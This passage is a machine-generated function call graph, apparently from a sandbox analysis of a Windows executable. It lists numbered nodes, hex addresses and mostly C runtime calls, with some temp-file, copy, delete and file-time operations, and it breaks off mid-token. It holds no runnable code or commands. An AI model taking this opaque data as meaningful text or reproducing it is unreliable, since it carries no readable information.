40d1c8 49520->49521 49522 40c060 77 API calls 49521->49522 49523 40d1d0 49522->49523 49524 40c060 77 API calls 49523->49524 49525 40d1d8 49524->49525 49525->49515 49526->49468 49532 40d500 49527->49532 49530 40d500 77 API calls 49531 40d46e 49530->49531 49531->49481 49533 41171a 77 API calls 49532->49533 49534 40d515 49533->49534 49535 41171a 77 API calls 49534->49535 49536 40d4c9 49535->49536 49536->49530 49537->49508 49538 452788 49539 452798 __write_nolock 49538->49539 49591 4431e0 49539->49591 49541 4527ec 49594 41557c 49541->49594 49543 452801 49544 4528f1 49543->49544 49545 45281a 49543->49545 49547 4523ce 110 API calls 49544->49547 49643 4523ce 49545->49643 49563 4528b5 _wcscat 49547->49563 49549 45282d 49553 4151b0 __fread_nolock 82 API calls 49554 45292a 49553->49554 49556 4151b0 __fread_nolock 82 API calls 49554->49556 49555 452861 _wcscat _wcscpy 49558 413db0 __wsplitpath 69 API calls 49555->49558 49557 452949 49556->49557 49559 4151b0 __fread_nolock 82 API calls 49557->49559 49558->49563 49560 45295a 49559->49560 49561 4151b0 __fread_nolock 82 API calls 49560->49561 49562 45297b 49561->49562 49564 4151b0 __fread_nolock 82 API calls 49562->49564 49563->49549 49607 4151b0 49563->49607 49565 45298c 49564->49565 49566 4151b0 __fread_nolock 82 API calls 49565->49566 49567 45299d 49566->49567 49568 4151b0 __fread_nolock 82 API calls 49567->49568 49569 4529ae 49568->49569 49610 434fa9 GetTempPathW GetTempFileNameW 49569->49610 49571 4529be 49611 414e06 49571->49611 49573 4529db 49574 452aa3 49627 414e94 49574->49627 49576 452aad 49577 452ad6 49576->49577 49578 452aba DeleteFileW 49576->49578 49580 452b6d CopyFileW 49577->49580 49585 452ae1 _wcscpy 49577->49585 49579 4529d0 49579->49573 49579->49574 49581 4151b0 __fread_nolock 82 API calls 49579->49581 49614 4146ce 49579->49614 49582 452b84 DeleteFileW 49580->49582 49583 452ba0 DeleteFileW 49580->49583 49581->49579 49640 434f66 CreateFileW 49583->49640 49652 44b195 49585->49652 49589 452b4d 49589->49583 49590 452b51 DeleteFileW 49589->49590 49687 414cef GetSystemTimeAsFileTime __aulldiv 49591->49687 49593 4431ef 49593->49541 49595 415588 __wfsopen 49594->49595 49596 415596 49595->49596 49598 4155c4 49595->49598 49706 417f23 69 API calls __getptd_noexit 49596->49706 49688 415965 49598->49688 49600 41559b 49707 417ebb 7 API calls 2 library calls 49600->49707 49606 4155ab __wfsopen 49606->49543 49947 41511a 49607->49947 49609 4151c8 49609->49553 49610->49571 50137 414d40 49611->50137 49613 414e18 49613->49579 49615 4146da __wfsopen 49614->49615 49616 414712 49615->49616 49617 4146f2 49615->49617 49620 414707 __wfsopen 49615->49620 49618 415965 __lock_file 70 API calls 49616->49618 50382 417f23 69 API calls __getptd_noexit 49617->50382 49621 41471a 49618->49621 49620->49579 50370 41456c 49621->50370 49622 4146f7 50383 417ebb 7 API calls 2 library calls 49622->50383 49628 414ea0 __wfsopen 49627->49628 49629 414ed1 49628->49629 49630 414eb4 49628->49630 49632 415965 __lock_file 70 API calls 49629->49632 49636 414ec9 __wfsopen 49629->49636 50404 417f23 69 API calls __getptd_noexit 49630->50404 49634 414ee9 49632->49634 49633 414eb9 50405 417ebb 7 API calls 2 library calls 49633->50405 50388 414e1d 49634->50388 49636->49576 49641 434fa5 49640->49641 49642 434f8b SetFileTime CloseHandle 49640->49642 49642->49641 49648 4523e1 _wcscpy 49643->49648 49644 4151b0 82 API calls __fread_nolock 49644->49648 49645 44afdc GetSystemTimeAsFileTime 49645->49648 49646 452553 49646->49549 49649 413db0 49646->49649 49647 41557c 102 API calls _fseek 49647->49648 49648->49644 49648->49645 49648->49646 49648->49647 50443 413b95 49649->50443 49653 44b1b4 49652->49653 49654 44b1a6 49652->49654 49656 44b1ca 49653->49656 49657 414e06 134 API calls 49653->49657 49658 44b1c2 49653->49658 49655 414e06 134 API calls 49654->49655 49655->49653 50473 4352d1 49656->50473 49659 44b2c1 49657->49659 49658->49589 49659->49656 49661 44b2cf 49659->49661 49663 44b2dc 49661->49663 49666 414e94 __fcloseall 103 API calls 49661->49666 49662 44b20d 49664 44b211 49662->49664 49665 44b23b 49662->49665 49663->49589 49668 44b21e 49664->49668 49671 414e94 __fcloseall 103 API calls 49664->49671 50477 43526e 49665->50477 49666->49663 49669 44b22e 49668->49669 49672 414e94 __fcloseall 103 API calls 49668->49672 49669->49589 49670 44b242 49673 44b270 49670->49673 49674 44b248 49670->49674 49671->49668 49672->49669 50487 44b0af 49673->50487 49676 44b255 49674->49676 49678 414e94 __fcloseall 103 API calls 49674->49678 49679 44b265 49676->49679 49681 414e94 __fcloseall 103 API calls 49676->49681 49677 44b276 50496 43522c 49677->50496 49678->49676 49679->49589 49681->49679 49683 44b289 49685 44b299 49683->49685 49686 414e94 __fcloseall 103 API calls 49683->49686 49684 414e94 __fcloseall 103 API calls 49684->49683 49685->49589 49686->49685 49687->49593 49689 415977 49688->49689 49690 415999 RtlEnterCriticalSection 49688->49690 49689->49690 49692 41597f 49689->49692 49691 4155cc 49690->49691 49694 4154f2 49691->49694 49693 418407 __lock 69 API calls 49692->49693 49693->49691 49695 415512 49694->49695 49696 415502 49694->49696 49698 415524 49695->49698 49709 4152e7 49695->49709 49763 417f23 69 API calls __getptd_noexit 49696->49763 49726 41486c 49698->49726 49705 415507 49708 4155f7 RtlLeaveCriticalSection RtlLeaveCriticalSection _fprintf 49705->49708 49706->49600 49708->49606 49710 41531a 49709->49710 49711 4152fa 49709->49711 49712 41453a __fileno 69 API calls 49710->49712 49764 417f23 69 API calls __getptd_noexit 49711->49764 49714 415320 49712->49714 49717 41efd4 __locking 73 API calls 49714->49717 49715 4152ff 49765 417ebb 7 API calls 2 library calls 49715->49765 49718 415335 49717->49718 49719 4153a9 49718->49719 49721 415364 49718->49721 49725 41530f 49718->49725 49766 417f23 69 API calls __getptd_noexit 49719->49766 49722 41efd4 __locking 73 API calls 49721->49722 49721->49725 49723 415404 49722->49723 49724 41efd4 __locking 73 API calls 49723->49724 49723->49725 49724->49725 49725->49698 49727 414885 49726->49727 49731 4148a7 49726->49731 49728 41453a __fileno 69 API calls 49727->49728 49727->49731 49729 4148a0 49728->49729 49767 41c3cf 49729->49767 49732 41453a 49731->49732 49733 414549 49732->49733 49735 41455e 49732->49735 49907 417f23 69 API calls __getptd_noexit 49733->49907 49738 41efd4 49735->49738 49736 41454e 49908 417ebb 7 API calls 2 library calls 49736->49908 49739 41efe0 __wfsopen 49738->49739 49740 41f003 49739->49740 49741 41efe8 49739->49741 49743 41f011 49740->49743 49747 41f052 49740->49747 49919 417f36 69 API calls __getptd_noexit 49741->49919 49921 417f36 69 API calls __getptd_noexit 49743->49921 49744 41efed 49920 417f23 69 API calls __getptd_noexit 49744->49920 49746 41f016 49922 417f23 69 API calls __getptd_noexit 49746->49922 49750 41ba3b ___lock_fhandle 70 API calls 49747->49750 49752 41f058 49750->49752 49751 41f01d 49923 417ebb 7 API calls 2 library calls 49751->49923 49754 41f065 49752->49754 49755 41f07b 49752->49755 49909 41ef5f 49754->49909 49924 417f23 69 API calls __getptd_noexit 49755->49924 49756 41eff5 __wfsopen 49756->49705 49759 41f073 49926 41f0a6 RtlLeaveCriticalSection __unlock_fhandle 49759->49926 49760 41f080 49925 417f36 69 API calls __getptd_noexit 49760->49925 49763->49705 49764->49715 49766->49725 49768 41c3db __wfsopen 49767->49768 49769 41c3e3 49768->49769 49774 41c3fe 49768->49774 49868 417f36 69 API calls __getptd_noexit 49769->49868 49771 41c40c 49870 417f36 69 API calls __getptd_noexit 49771->49870 49773 41c3e8 49869 417f23 69 API calls __getptd_noexit 49773->49869 49774->49771 49776 41c44d 49774->49776 49775 41c411 49871 417f23 69 API calls __getptd_noexit 49775->49871 49792 41ba3b 49776->49792 49780 41c418 49872 417ebb 7 API calls 2 library calls 49780->49872 49781 41c453 49783 41c460 49781->49783 49784 41c476 49781->49784 49802 41bc9c 49783->49802 49873 417f23 69 API calls __getptd_noexit 49784->49873 49785 41c3f0 __wfsopen 49785->49731 49788 41c46e 49875 41c4a1 RtlLeaveCriticalSection __unlock_fhandle 49788->49875 49789 41c47b 49874 417f36 69 API calls __getptd_noexit 49789->49874 49793 41ba47 __wfsopen 49792->49793 49794 41baa2 49793->49794 49795 418407 __lock 69 API calls 49793->49795 49796 41bac4 __wfsopen 49794->49796 49797 41baa7 RtlEnterCriticalSection 49794->49797 49798 41ba73 49795->49798 49796->49781 49797->49796 49799 41ba8a 49798->49799 49876 4189e6 InitializeCriticalSectionAndSpinCount __wfsopen 49798->49876 49877 41bad2 RtlLeaveCriticalSection _doexit 49799->49877 49803 41bcab __write_nolock 49802->49803 49804 41bd04 49803->49804 49805 41bcdd 49803->49805 49838 41bcd2 49803->49838 49810 41bd6c 49804->49810 49811 41bd46 49804->49811 49887 417f36 69 API calls __getptd_noexit 49805->49887 49808 41c3cd 49808->49788 49809 41bce2 49888 417f23 69 API calls __getptd_noexit 49809->49888 49813 41bd83 49810->49813 49814 41bd72 49810->49814 49890 417f36 69 API calls __getptd_noexit 49811->49890 49878 423649 49813->49878 49893 423462 71 API calls 3 library calls 49814->49893 49816 41bd4b 49891 417f23 69 API calls __getptd_noexit 49816->49891 49818 41bce9 49889 417ebb 7 API calls 2 library calls 49818->49889 49821 41bd80 49821->49813 49823 41bd8b 49825 41c031 49823->49825 49894 416c72 69 API calls 2 library calls 49823->49894 49824 41bd54 49892 417ebb 7 API calls 2 library calls 49824->49892 49827 41c041 49825->49827 49828 41c300 WriteFile 49825->49828 49830 41c11f 49827->49830 49839 41c055 49827->49839 49832 41c333 GetLastError 49828->49832 49833 41c31e 49828->49833 49842 41c12e 49830->49842 49844 41c1ff 49830->49844 49831 41bda6 GetConsoleMode 49831->49825 49835 41bdd1 49831->49835 49832->49833 49837 41c37e 49833->49837 49833->49838 49841 41c351 49833->49841 49834 41c384 49834->49837 49835->49825 49836 41bde3 GetConsoleCP 49835->49836 49836->49833 49863 41be06 49836->49863 49837->49834 49837->49838 49901 417f23 69 API calls __getptd_noexit 49837->49901 49903 421fa7 5 API calls __invoke_watson 49838->49903 49839->49834 49843 41c0c3 WriteFile 49839->49843 49846 41c370 49841->49846 49847 41c35c 49841->49847 49842->49834 49849 41c1a3 WriteFile 49842->49849 49843->49832 49851 41c066 49843->49851 49844->49834 49862 41c292 49844->49862 49845 41c3a1 49902 417f36 69 API calls __getptd_noexit 49845->49902 49900 417f49 69 API calls 2 library calls 49846->49900 49898 417f23 69 API calls __getptd_noexit 49847->49898 49849->49832 49854 41c139 49849->49854 49851->49833 49851->49839 49858 41c013 49851->49858 49853 41c361 49899 417f36 69 API calls __getptd_noexit 49853->49899 49854->49833 49854->49842 49854->49858 49856 41c29c WriteFile 49860 41c2d3 GetLastError 49856->49860 49856->49862 49858->49833 49860->49862 49861 42513e 10 API calls __putwch_nolock 49865 41be82 49861->49865 49862->49832 49862->49833 49862->49844 49862->49856 49862->49858 49863->49833 49863->49858 49863->49865 49895 41348a 79 API calls __isleadbyte_l 49863->49895 49896 423961 79 API calls __woutput_l 49863->49896 49897 423961 79 API calls __woutput_l 49863->49897 49865->49832 49865->49833 49865->49861 49865->49863 49866 41bee3 WriteFile 49865->49866 49867 41bf37 WriteFile 49865->49867 49866->49832 49866->49865 49867->49832 49867->49865 49868->49773 49869->49785 49870->49775 49871->49780 49873->49789 49874->49788 49875->49785 49876->49799 49877->49794 49879 423656 49878->49879 49881 423665 49878->49881 49904 417f23 69 API calls __getptd_noexit 49879->49904 49883 423689 49881->49883 49905 417f23 69 API calls __getptd_noexit 49881->49905 49882 42365b 49882->49823 49883->49823 49885 423679 49906 417ebb 7 API calls 2 library calls 49885->49906 49887->49809 49888->49818 49890->49816 49891->49824 49893->49821 49894->49831 49895->49863 49896->49865 49897->49863 49898->49853 49899->49838 49900->49838 49901->49845 49902->49838 49903->49808 49904->49882 49905->49885 49907->49736 49927 41b9c4 49909->49927 49911 41ef6e 49912 41ef84 SetFilePointer 49911->49912 49913 41ef74 49911->49913 49915 41ef9b GetLastError 49912->49915 49917 41efa3 49912->49917 49940 417f23 69 API calls __getptd_noexit 49913->49940 49915->49917 49916 41ef79 49916->49759 49917->49916 49941 417f49 69 API calls 2 library calls 49917->49941 49919->49744 49920->49756 49921->49746 49922->49751 49924->49760 49925->49759 49926->49756 49928 41b9d1 49927->49928 49929 41b9e9 49927->49929 49942 417f36 69 API calls __getptd_noexit 49928->49942 49939 41ba2e 49929->49939 49944 417f36 69 API calls __getptd_noexit 49929->49944 49932 41b9d6 49943 417f23 69 API calls __getptd_noexit 49932->49943 49933 41ba17 49945 417f23 69 API calls __getptd_noexit 49933->49945 49936 41b9de 49936->49911 49937 41ba1e 49946 417ebb 7 API calls 2 library calls 49937->49946 49939->49911 49940->49916 49941->49916 49942->49932 49943->49936 49944->49933 49945->49937 49948 415126 __wfsopen 49947->49948 49949 41516f 49948->49949 49950 415164 __wfsopen 49948->49950 49955 41513a _memset 49948->49955 49951 415965 __lock_file 70 API calls 49949->49951 49950->49609 49952 415177 49951->49952 49960 414f10 49952->49960 49976 417f23 69 API calls __getptd_noexit 49955->49976 49956 415154 49977 417ebb 7 API calls 2 library calls 49956->49977 49963 414f2e _memset 49960->49963 49967 414f4c 49960->49967 49961 414f37 50029 417f23 69 API calls __getptd_noexit 49961->50029 49963->49961 49963->49967 49968 414f8b 49963->49968 49964 414f3c 50030 417ebb 7 API calls 2 library calls 49964->50030 49978 4151a6 RtlLeaveCriticalSection RtlLeaveCriticalSection _fprintf 49967->49978 49968->49967 49969 4150d5 _memset 49968->49969 49970 4150a9 _memset 49968->49970 49971 41453a __fileno 69 API calls 49968->49971 49979 41ed9e 49968->49979 50009 41e6b1 49968->50009 50031 41ee9b 69 API calls 4 library calls 49968->50031 50033 417f23 69 API calls __getptd_noexit 49969->50033 50032 417f23 69 API calls __getptd_noexit 49970->50032 49971->49968 49976->49956 49978->49950 49980 41edaa __wfsopen 49979->49980 49981 41edb2 49980->49981 49982 41edcd 49980->49982 50102 417f36 69 API calls __getptd_noexit 49981->50102 49984 41eddb 49982->49984 49987 41ee1c 49982->49987 50104 417f36 69 API calls __getptd_noexit 49984->50104 49985 41edb7 50103 417f23 69 API calls __getptd_noexit 49985->50103 49991 41ee29 49987->49991 49992 41ee3d 49987->49992 49989 41ede0 50105 417f23 69 API calls __getptd_noexit 49989->50105 50107 417f36 69 API calls __getptd_noexit 49991->50107 49994 41ba3b ___lock_fhandle 70 API calls 49992->49994 49996 41ee43 49994->49996 49995 41ee2e 50108 417f23 69 API calls __getptd_noexit 49995->50108 49999 41ee50 49996->49999 50000 41ee66 49996->50000 50034 41e7dc 49999->50034 50109 417f23 69 API calls __getptd_noexit 50000->50109 50003 41ede7 50106 417ebb 7 API calls 2 library calls 50003->50106 50004 41ee5e 50111 41ee91 RtlLeaveCriticalSection __unlock_fhandle 50004->50111 50005 41ee6b 50110 417f36 69 API calls __getptd_noexit 50005->50110 50008 41edbf __wfsopen 50008->49968 50010 41e6c1 50009->50010 50013 41e6de 50009->50013 50135 417f23 69 API calls __getptd_noexit 50010->50135 50012 41e6c6 50136 417ebb 7 API calls 2 library calls 50012->50136 50015 41e713 50013->50015 50023 41e6d6 50013->50023 50132 423600 50013->50132 50017 41453a __fileno 69 API calls 50015->50017 50018 41e727 50017->50018 50019 41ed9e __read 80 API calls 50018->50019 50020 41e72e 50019->50020 50021 41453a __fileno 69 API calls 50020->50021 50020->50023 50022 41e751 50021->50022 50022->50023 50024 41453a __fileno 69 API calls 50022->50024 50023->49968 50025 41e75d 50024->50025 50025->50023 50026 41453a __fileno 69 API calls 50025->50026 50027 41e769 50026->50027 50028 41453a __fileno 69 API calls 50027->50028 50028->50023 50029->49964 50031->49968 50032->49964 50033->49964 50035 41e813 50034->50035 50036 41e7f8 50034->50036 50037 41e822 50035->50037 50039 41e849 50035->50039 50112 417f36 69 API calls __getptd_noexit 50036->50112 50114 417f36 69 API calls __getptd_noexit 50037->50114 50043 41e868 50039->50043 50054 41e87c 50039->50054 50041 41e7fd 50113 417f23 69 API calls __getptd_noexit 50041->50113 50042 41e827 50115 417f23 69 API calls __getptd_noexit 50042->50115 50117 417f36 69 API calls __getptd_noexit 50043->50117 50045 41e8d4 50119 417f36 69 API calls __getptd_noexit 50045->50119 50048 41e82e 50116 417ebb 7 API calls 2 library calls 50048->50116 50050 41e86d 50118 417f23 69 API calls __getptd_noexit 50050->50118 50052 41e8d9 50120 417f23 69 API calls __getptd_noexit 50052->50120 50054->50045 50055 41e805 50054->50055 50058 41e8b0 50054->50058 50060 41e8f5 50054->50060 50055->50004 50057 41e874 50121 417ebb 7 API calls 2 library calls 50057->50121 50058->50045 50063 41e8bb ReadFile 50058->50063 50062 416fb6 __malloc_crt 69 API calls 50060->50062 50064 41e90b 50062->50064 50065 41ed62 GetLastError 50063->50065 50066 41e9e7 50063->50066 50067 41e931 50064->50067 50068 41e913 50064->50068 50069 41ebe8 50065->50069 50070 41ed6f 50065->50070 50066->50065 50073 41e9fb 50066->50073 50124 423462 71 API calls 3 library calls 50067->50124 50122 417f23 69 API calls __getptd_noexit 50068->50122 50082 41eb6d 50069->50082 50128 417f49 69 API calls 2 library calls 50069->50128 50130 417f23 69 API calls __getptd_noexit 50070->50130 50073->50082 50083 41ea17 50073->50083 50086 41ec2d 50073->50086 50075 41e918 50123 417f36 69 API calls __getptd_noexit 50075->50123 50076 41ed74 50131 417f36 69 API calls __getptd_noexit 50076->50131 50078 41e93d 50078->50063 50081 413a88 __woutput_l 69 API calls 50081->50055 50082->50055 50082->50081 50084 41ea7d ReadFile 50083->50084 50089 41eafa 50083->50089 50088 41ea9b GetLastError 50084->50088 50092 41eaa5 50084->50092 50085 41eca5 ReadFile 50087 41ecc4 GetLastError 50085->50087 50093 41ecce 50085->50093 50086->50082 50086->50085 50087->50086 50087->50093 50088->50083 50088->50092 50089->50082 50090 41eb75 50089->50090 50091 41eb68 50089->50091 50098 41eb32 50089->50098 50090->50098 50099 41ebac 50090->50099 50126 417f23 69 API calls __getptd_noexit 50091->50126 50092->50083 50125 423462 71 API calls 3 library calls 50092->50125 50093->50086 50129 423462 71 API calls 3 library calls 50093->50129 50094 41ebe2 GetLastError 50094->50069 50098->50082 50098->50094 50127 423462 71 API calls 3 library calls 50099->50127 50101 41ebbb 50101->50098 50102->49985 50103->50008 50104->49989 50105->50003 50107->49995 50108->50003 50109->50005 50110->50004 50111->50008 50112->50041 50113->50055 50114->50042 50115->50048 50117->50050 50118->50057 50119->50052 50120->50057 50122->50075 50123->50055 50124->50078 50125->50092 50126->50082 50127->50101 50128->50082 50129->50093 50130->50076 50131->50082 50133 416fb6 __malloc_crt 69 API calls 50132->50133 50134 423615 50133->50134 50134->50015 50135->50012 50138 414d4c __wfsopen 50137->50138 50139 414d5f 50138->50139 50141 414d95 50138->50141 50189 417f23 69 API calls __getptd_noexit 50139->50189 50156 41e28c 50141->50156 50142 414d64 50190 417ebb 7 API calls 2 library calls 50142->50190 50145 414d9a 50146 414da1 50145->50146 50147 414dae 50145->50147 50191 417f23 69 API calls __getptd_noexit 50146->50191 50149 414dd6 50147->50149 50150 414db6 50147->50150 50174 41dfd8 50149->50174 50192 417f23 69 API calls __getptd_noexit 50150->50192 50154 414d74 __wfsopen @_EH4_CallFilterFunc@8 50154->49613 50157 41e298 __wfsopen 50156->50157 50158 418407 __lock 69 API calls 50157->50158 50171 41e2a6 50158->50171 50159 41e322 50161 416fb6 __malloc_crt 69 API calls 50159->50161 50163 41e32c 50161->50163 50162 41e3b0 __wfsopen 50162->50145 50170 41e31b 50163->50170 50199 4189e6 InitializeCriticalSectionAndSpinCount __wfsopen 50163->50199 50165 418344 __mtinitlocknum 69 API calls 50165->50171 50167 41e351 50168 41e35c 50167->50168 50169 41e36f RtlEnterCriticalSection 50167->50169 50172 413a88 __woutput_l 69 API calls 50168->50172 50169->50170 50194 41e3bb 50170->50194 50171->50159 50171->50165 50171->50170 50197 4159a6 70 API calls __lock 50171->50197 50198 415a14 RtlLeaveCriticalSection RtlLeaveCriticalSection _doexit 50171->50198 50172->50170 50175 41dffb __wopenfile 50174->50175 50176 41e015 50175->50176 50188 41e1e9 50175->50188 50206 4136bc 81 API calls 3 library calls 50175->50206 50204 417f23 69 API calls __getptd_noexit 50176->50204 50178 41e01a 50205 417ebb 7 API calls 2 library calls 50178->50205 50179 41e247 50201 425db0 50179->50201 50184 41e1e2 50184->50188 50207 4136bc 81 API calls 3 library calls 50184->50207 50186 41e201 50186->50188 50208 4136bc 81 API calls 3 library calls 50186->50208 50188->50176 50188->50179 50189->50142 50191->50154 50192->50154 50193 414dfc RtlLeaveCriticalSection RtlLeaveCriticalSection _fprintf 50193->50154 50200 41832d RtlLeaveCriticalSection 50194->50200 50196 41e3c2 50196->50162 50197->50171 50198->50171 50199->50167 50200->50196 50209 425ce4 50201->50209 50203 414de1 50203->50193 50204->50178 50206->50184 50207->50186 50208->50188 50211 425cf0 __wfsopen 50209->50211 50210 425d03 50281 417f23 69 API calls __getptd_noexit 50210->50281 50211->50210 50213 425d41 50211->50213 50220 4255c4 50213->50220 50214 425d08 50282 417ebb 7 API calls 2 library calls 50214->50282 50219 425d17 __wfsopen 50219->50203 50221 4255e9 50220->50221 50284 41440a 50221->50284 50224 42560a 50308 417d93 10 API calls 3 library calls 50224->50308 50226 425614 50232 425617 50226->50232 50227 42564d 50309 417f36 69 API calls __getptd_noexit 50227->50309 50229 425652 50310 417f23 69 API calls __getptd_noexit 50229->50310 50231 42565c 50311 417ebb 7 API calls 2 library calls 50231->50311 50232->50227 50234 42570d 50232->50234 50290 41bb02 50234->50290 50236 4257af 50237 4257d0 CreateFileW 50236->50237 50238 4257b6 50236->50238 50240 42586a GetFileType 50237->50240 50241 4257fd 50237->50241 50312 417f36 69 API calls __getptd_noexit 50238->50312 50242 425877 GetLastError 50240->50242 50243 4258bb 50240->50243 50245 425836 GetLastError 50241->50245 50248 425811 CreateFileW 50241->50248 50316 417f49 69 API calls 2 library calls 50242->50316 50318 41b8bd 70 API calls __free_osfhnd 50243->50318 50244 4257bb 50313 417f23 69 API calls __getptd_noexit 50244->50313 50314 417f49 69 API calls 2 library calls 50245->50314 50248->50240 50248->50245 50250 4258a0 CloseHandle 50251 4257c5 50250->50251 50252 4258ae 50250->50252 50315 417f23 69 API calls __getptd_noexit 50251->50315 50317 417f23 69 API calls __getptd_noexit 50252->50317 50256 42566b 50283 425d82 RtlLeaveCriticalSection __unlock_fhandle 50256->50283 50257 4258b3 50257->50251 50258 4258d9 50259 425afa 50258->50259 50260 41ef5f __lseek_nolock 71 API calls 50258->50260 50274 42594f 50258->50274 50259->50256 50261 425c67 CloseHandle CreateFileW 50259->50261 50262 425940 50260->50262 50263 425c92 GetLastError 50261->50263 50269 425cc0 50261->50269 50262->50274 50319 417f36 69 API calls __getptd_noexit 50262->50319 50337 417f49 69 API calls 2 library calls 50263->50337 50266 425c9e 50338 41b93e 70 API calls __free_osfhnd 50266->50338 50268 41ef5f 71 API calls __lseek_nolock 50268->50274 50269->50256 50271 41e7dc 78 API calls __read_nolock 50271->50274 50273 41c3cf __locking 98 API calls 50273->50274 50274->50259 50274->50268 50274->50271 50274->50273 50275 425aa0 50274->50275 50276 425b62 50274->50276 50320 41e517 50274->50320 50335 426da1 102 API calls 5 library calls 50274->50335 50275->50274 50279 423462 71 API calls __lseeki64_nolock 50275->50279 50277 41e517 __close_nolock 72 API calls 50276->50277 50278 425b69 50277->50278 50336 417f23 69 API calls __getptd_noexit 50278->50336 50279->50275 50281->50214 50283->50219 50285 414419 50284->50285 50289 41442e 50284->50289 50339 417f23 69 API calls __getptd_noexit 50285->50339 50287 41441e 50340 417ebb 7 API calls 2 library calls 50287->50340 50289->50224 50289->50232 50291 41bb0e __wfsopen 50290->50291 50292 418344 __mtinitlocknum 69 API calls 50291->50292 50293 41bb1e 50292->50293 50294 418407 __lock 69 API calls 50293->50294 50295 41bb23 __wfsopen 50293->50295 50299 41bb32 50294->50299 50295->50236 50296 41bc0b 50343 416ffb 50296->50343 50299->50296 50300 418407 __lock 69 API calls 50299->50300 50301 41bbb3 RtlEnterCriticalSection 50299->50301 50307 41bc75 50299->50307 50341 4189e6 InitializeCriticalSectionAndSpinCount __wfsopen 50299->50341 50342 41bbd5 RtlLeaveCriticalSection _doexit 50299->50342 50300->50299 50301->50299 50303 41bbc3 RtlLeaveCriticalSection 50301->50303 50303->50299 50304 41ba3b ___lock_fhandle 70 API calls 50304->50307 50349 41bc93 RtlLeaveCriticalSection _doexit 50307->50349 50308->50226 50309->50229 50310->50231 50312->50244 50313->50251 50314->50251 50315->50256 50316->50250 50317->50257 50318->50258 50319->50274 50321 41b9c4 __close_nolock 69 API calls 50320->50321 50324 41e527 50321->50324 50322 41e57d 50368 41b93e 70 API calls __free_osfhnd 50322->50368 50324->50322 50327 41b9c4 __close_nolock 69 API calls 50324->50327 50334 41e55b 50324->50334 50325 41b9c4 __close_nolock 69 API calls 50328 41e567 FindCloseChangeNotification 50325->50328 50326 41e585 50333 41e5a7 50326->50333 50369 417f49 69 API calls 2 library calls 50326->50369 50329 41e552 50327->50329 50328->50322 50330 41e573 GetLastError 50328->50330 50332 41b9c4 __close_nolock 69 API calls 50329->50332 50330->50322 50332->50334 50333->50274 50334->50322 50334->50325 50335->50274 50336->50256 50337->50266 50338->50269 50339->50287 50341->50299 50342->50299 50346 417004 50343->50346 50345 417041 50345->50304 50345->50307 50346->50345 50347 417022 Sleep 50346->50347 50350 422452 50346->50350 50348 417037 50347->50348 50348->50345 50348->50346 50349->50295 50351 42245e __wfsopen 50350->50351 50352 422476 50351->50352 50361 422495 _memset 50351->50361 50363 417f23 69 API calls __getptd_noexit 50352->50363 50354 42247b 50364 417ebb 7 API calls 2 library calls 50354->50364 50356 422507 RtlAllocateHeap 50356->50361 50358 418407 __lock 68 API calls 50358->50361 50359 42248b __wfsopen 50359->50346 50361->50356 50361->50358 50361->50359 50365 41a74c 5 API calls 2 library calls 50361->50365 50366 42254e RtlLeaveCriticalSection _doexit 50361->50366 50367 411afc 7 API calls __decode_pointer 50361->50367 50363->50354 50365->50361 50366->50361 50367->50361 50368->50326 50369->50333 50372 41457e 50370->50372 50377 41459f 50370->50377 50371 41458a 50385 417f23 69 API calls __getptd_noexit 50371->50385 50372->50371 50372->50377 50380 4145bd _memcpy_s 50372->50380 50374 41458f 50386 417ebb 7 API calls 2 library calls 50374->50386 50384 414746 RtlLeaveCriticalSection RtlLeaveCriticalSection _fprintf 50377->50384 50378 41486c __flush 98 API calls 50378->50380 50379 41453a __fileno 69 API calls 50379->50380 50380->50377 50380->50378 50380->50379 50381 41c3cf __locking 98 API calls 50380->50381 50387 4191c9 98 API calls 6 library calls 50380->50387 50381->50380 50382->49622 50384->49620 50385->50374 50387->50380 50389 414e31 50388->50389 50390 414e4d 50388->50390 50434 417f23 69 API calls __getptd_noexit 50389->50434 50392 414e46 50390->50392 50393 41486c __flush 98 API calls 50390->50393 50406 414f08 RtlLeaveCriticalSection RtlLeaveCriticalSection _fprintf 50392->50406 50395 414e59 50393->50395 50394 414e36 50435 417ebb 7 API calls 2 library calls 50394->50435 50407 41e680 50395->50407 50399 41453a __fileno 69 API calls 50400 414e67 50399->50400 50411 41e5b3 50400->50411 50402 414e6d 50402->50392 50403 413a88 __woutput_l 69 API calls 50402->50403 50403->50392 50404->49633 50406->49636 50408 41e690 50407->50408 50409 414e61 50407->50409 50408->50409 50410 413a88 __woutput_l 69 API calls 50408->50410 50409->50399 50410->50409 50412 41e5bf __wfsopen 50411->50412 50413 41e5e2 50412->50413 50414 41e5c7 50412->50414 50415 41e5f0 50413->50415 50421 41e631 50413->50421 50436 417f36 69 API calls __getptd_noexit 50414->50436 50438 417f36 69 API calls __getptd_noexit 50415->50438 50418 41e5cc 50437 417f23 69 API calls __getptd_noexit 50418->50437 50420 41e5f5 50439 417f23 69 API calls __getptd_noexit 50420->50439 50423 41ba3b ___lock_fhandle 70 API calls 50421->50423 50425 41e637 50423->50425 50424 41e5fc 50440 417ebb 7 API calls 2 library calls 50424->50440 50426 41e652 50425->50426 50427 41e644 50425->50427 50441 417f23 69 API calls __getptd_noexit 50426->50441 50429 41e517 __close_nolock 72 API calls 50427->50429 50432 41e64c 50429->50432 50431 41e5d4 __wfsopen 50431->50402 50442 41e676 RtlLeaveCriticalSection __unlock_fhandle 50432->50442 50434->50394 50436->50418 50437->50431 50438->50420 50439->50424 50441->50432 50442->50431 50446 413c2f 50443->50446 50450 413bae 50443->50450 50444 413d60 50469 417f23 69 API calls __getptd_noexit 50444->50469 50445 413d7b 50471 417f23 69 API calls __getptd_noexit 50445->50471 50446->50444 50446->50445 50449 413d65 50454 413cfb 50449->50454 50470 417ebb 7 API calls 2 library calls 50449->50470 50450->50446 50459 413c1d 50450->50459 50465 41ab19 69 API calls 2 library calls 50450->50465 50453 413d03 50453->50446 50453->50454 50456 413d8e 50453->50456 50454->49555 50455 413cb9 50455->50446 50457 413cd6 50455->50457 50467 41ab19 69 API calls 2 library calls 50455->50467 50472 41ab19 69 API calls 2 library calls 50456->50472 50457->50446 50457->50454 50461 413cef 50457->50461 50459->50446 50464 413c9b 50459->50464 50466 41ab19 69 API calls 2 library calls 50459->50466 50468 41ab19 69 API calls 2 library calls 50461->50468 50464->50453 50464->50455 50465->50459 50466->50464 50467->50457 50468->50454 50469->50449 50471->50449 50472->50454 50474 4352f7 50473->50474 50476 4352df _memcpy_s 50473->50476 50475 4151b0 __fread_nolock 82 API calls 50474->50475 50475->50476 50476->49662 50478 4138ba _malloc 69 API calls 50477->50478 50479 43527d 50478->50479 50480 4138ba _malloc 69 API 